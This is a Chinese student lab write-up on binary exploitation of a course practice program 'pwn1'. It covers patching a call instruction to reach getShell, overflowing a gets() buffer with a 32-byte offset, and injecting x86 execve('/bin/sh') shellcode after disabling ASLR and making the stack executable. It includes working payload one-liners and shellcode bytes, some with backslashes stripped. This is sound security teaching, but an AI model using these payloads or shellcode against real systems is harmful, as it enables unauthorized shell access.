zoukankan      html  css  js  c++  java
  • 2019-2020-2 网络对抗技术 20175211 Exp1 PC平台逆向破解

    实践内容

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode

    实践过程

    直接修改程序机器指令,改变程序执行流程

    • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
    • 学习目标:理解可执行文件与机器指令
    • 进阶:掌握ELF文件格式,掌握动态技术

    首先运行pwn1文件,发现它的功能是原样输出输入的字符串

    使用命令objdump -d pwn1 | more反汇编elf文件

    掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码:

    • NOP:空操作,机器码0x90
    • JNE:不等则跳转,机器码0x75
    • JE:相等则跳转,机器码0x74
    • JMP:无条件跳转
      • 段内直接短转Jmp short,机器码0xEB
      • 段内直接近转移Jmp near,机器码0xE9
      • 段内间接转移Jmp word,机器码0xFF
      • 段间直接(远)转移Jmp far,机器码0xEA
    • CMP:比较指令,CMP的功能相当于减法指令。它不保存结果,只是影响相应的标志位,机器码0x39

    可以发现这个elf文件里有三个函数,mainfoogetShell,其中getShell函数就是我们想让程序跳转到的地方

    可以看到main中有一条call指令调用了foo,我们要做的就是把这里改成call getShell。这里的机器码是e8 d7 ff ff ffe8call的机器码,后面的d7 ff ff ff就是调用的foo的地址。
    这个值的算法是:用EIP的值减掉跳转地址的值,然后取补码;当然用跳转地址减EIP也是一样的。比如这里当程序运行到call时,EIP指向下一条语句,也就是80484bafoo函数的地址是8048491,可以计算得出ff ff ff d7,这里用小端法表示就和elf文件中一样了。

    同样的方法我们可以算出如果要跳转到getShell的话,这里应该是c3 ff ff ff

    接下来我们用vim直接修改elf文件。可以先用readelf命令看到各个段在文件中的偏移,其中保存着代码的.text段是从380开始,长度1c2

    用vim打开文件,输入:%!xxd,搜索d7ff可以找到对应的地方,且在.text段中,基本可以认定这就是我们要改的地方

    d7改成c3之后,输入:%!xxd -r复原,然后保存退出。
    此时在反汇编可以看到call getShell

    再执行pwn1,发现可以getshell

    通过构造输入参数,造成BOF攻击,改变程序执行流

    main函数调用foo,首先执行push %ebp将调用者基址压栈;然后mov%ebp%esp设成一样的,作为当前函数的基址;sub开辟栈帧,大小为0x38;接下来为临时变量分配0x1c的空间;在然后foo函数调用了getsgets会在不做任何检查的情况下将输入的字符串复制到栈中。
    那我们要覆盖栈中的返回地址,就需要28+4=32个字节

    然后我们尝试覆盖,输入111122223333444455556666777788889999共36个字节,然后程序报了段错误,此时EIP的值为9999,这个地址是访问不了的,自然会报错,这也说明我们覆盖成功

    接下来只要把这里的9999改成我们想要程序跳转的地址就可以了,也就是getShell的地址0804847d,之前知道这个文件是小端序的,所以我们的输入应该是小端法输入。这里因为payload里有不可见字符,所以我们不能直接运行pwn1,可以通过python或者perl的命令行加上管道符来实现,比如(python -c "print '11112222333344445555666677778888x7dx84x04x08'";cat) | ./pwn1
    或者(perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"';cat) | ./pwn1,其中cat很关键,能维持交互的状态

    注入Shellcode并执行

    shellcode就是一段机器指令(code)

    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
    • 所以这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

    准备shellcode

    针对不同的平台和不同的目的,可能会有多种shellcode,我们可以从著名的shellcode数据库http://shell-storm.org/shellcode/去找一个适合的。
    这里我们就直接使用老师提供的x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80

    这个shellcode的大概原理是:EAX被赋值为0Xb,ECX入栈,/bin//sh字符串入栈,并将其首地址赋给了EBX,执行int 80h,触发中断,调用sys_execve("/bin//sh", 0, 0, 0),通过/bin/sh软链接打开一个shell。

    准备工作

    要让注入的shellcode执行其实需要有一定条件,我们这里为了简化,需要关掉一些防护措施

    execstack -s pwn1    //设置堆栈可执行
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    

    构造要注入的payload

    Linux下有两种基本构造攻击buf的方法:

    • retaddr + nop + shellcode
    • nop + shellcode + retaddr
      因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
      简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

    如果尝试nop + shellcode + retaddr,我们最后会发现ret之后push %ebx的操作会把我们的shellcode覆盖。所以我们这里还是采用retaddr + nop + shellcode的方法。

    由于之前我们已经算出要覆盖retaddr需要的字节数,所以我们可以直接构造(perl -e 'print "A" x 32;print "x01x02x03x04x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80"';cat)|./pwn1去找地址。这里的nopx90其实没有也无所谓,因为我们很清楚地知道shellcode就在retaddr之后

    ps查看pid之后用gdbattach,把断点断在foo()->ret,这样我们可以看到我们注入的代码会溢出到哪。

    c执行代码,成功断下,info r esp可以看到当前栈顶的地址,x/16x 0xffffd33c查看此地址后面16字节的内容。不出意料,我们测试的retaddr在栈顶,只要把这个地址改为能运行到shellcode--也就是这后面4个字节开外的地方就行了。所以最终的payload就是0xffffd33c + 4 = 0xffffd340(perl -e 'print "A" x 32;print "x40xd3xffxffx31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80"';cat)|./pwn1

    成功getshell

    实践拓展

    卑微web手想体验一下pwn手的感觉,安装了IDA,gdb的peda、pwndbg插件和pwntools,我们换个手段再来一次。
    首先checksec判断一下防护情况,作为一个简单的例子,防护关的很干净。

    我们在反汇编后知道这里有个BOF漏洞,利用的时候可以更简单一点。用cyclic 50生成每4个字节不重复的字符串

    用gdb打开pwn1,粘贴复制刚生成的字符串

    运行后查看EIP的值为iaaa

    再运行cyclic -l iaaa就可以得到需要覆盖的偏移量。

    gdb反汇编看一下getShell()的地址

    用pwntools来交互,很方便地getShell

    感谢PwnKi师傅在线教学,二进制属实好玩

    回答问题

    实验收获与感想

    栈溢出应该是最经典的二进制漏洞之一了,这种底层的漏洞往往需要技术人员有很扎实的基本功和对计算机系统的深入了解,我觉得越是这样接近底层,越是体现出信息安全人员geek的一面。不管怎么说,计算机是由人创造的,它的规则是有迹可循的,只要对程序运行的机制足够了解,完成这样的攻击不是难事。

    什么是漏洞?漏洞有什么危害?

    漏洞,是指计算机系统或者信息系统中安全方面,可以被他人利用的缺陷。
    漏洞可能使得系统或数据的保密性、完整性、可用性等面临威胁。

  • 相关阅读:
    IDEA添加注释模板
    Docker安装Mysql
    Linux使用
    Linux使用
    Spring Cloud入门 (5)
    在IDEA中将SpringBoot项目打包成jar包
    Linux使用
    Linux使用
    Linux使用- 虚拟机安装 Linux
    Spring Cloud入门 (4)
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/12402903.html
Copyright © 2011-2022 走看看